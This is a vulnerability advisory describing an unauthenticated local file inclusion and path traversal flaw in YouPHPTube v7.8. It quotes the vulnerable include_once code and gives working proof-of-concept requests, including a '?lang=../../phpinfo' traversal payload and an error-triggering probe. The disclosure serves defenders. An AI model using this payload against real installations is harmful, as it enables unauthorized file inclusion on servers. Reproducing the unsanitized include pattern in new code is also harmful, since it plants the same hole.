# Vulnerability Type: LFI + Path Traversal

CVSS v3: 7.5
CVSS vector: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
CWE: CWE-829, CWE-22

Vulnerability description: YouPHPTube v7.8 allows unauthenticated directory
traversal and Local File Inclusion through the parameter in an
/?lang=PATH+TRAVERSAL+FILE (without php) GET request because of an
include_once in locale/function.php page.

Proof of concept:

To detect: http://localhost/youphptube/index.php?lang=)

An error is generated:

Warning: preg_grep(): Compilation failed: unmatched parentheses at offset 0
in C:xampphtdocsYouPHPTubelocalefunction.php on line 47

In function.php page, we can see:

// filter some security here
if (!empty($_GET['lang'])) {
$_GET['lang'] = str_replace(array("'", '"', """, "'"),
array('', '', '', ''), xss_esc($_GET['lang']));
}

if (empty($_SESSION['language'])) {
$_SESSION['language'] = $config->getLanguage();
}
if (!empty($_GET['lang'])) {
$_GET['lang'] = strip_tags($_GET['lang']);
$_SESSION['language'] = $_GET['lang'];
}
@include_once
"{$global['systemRootPath']}locale/{$_SESSION['language']}.php";


The parameter "lang" can be modified and load a php file in the server.


In Document root: /phpinfo.php with this content:

<?php echo phpinfo(); ?>


To Get phpinfo.php: http://127.0.0.1/youphptube/?lang=../../phpinfo

Note: phpinfo without ".php".

The new Path is:
@include_once "{$global['systemRootPath']}locale/../../phpinfo.php";

And you can see the PHP information into the browser.
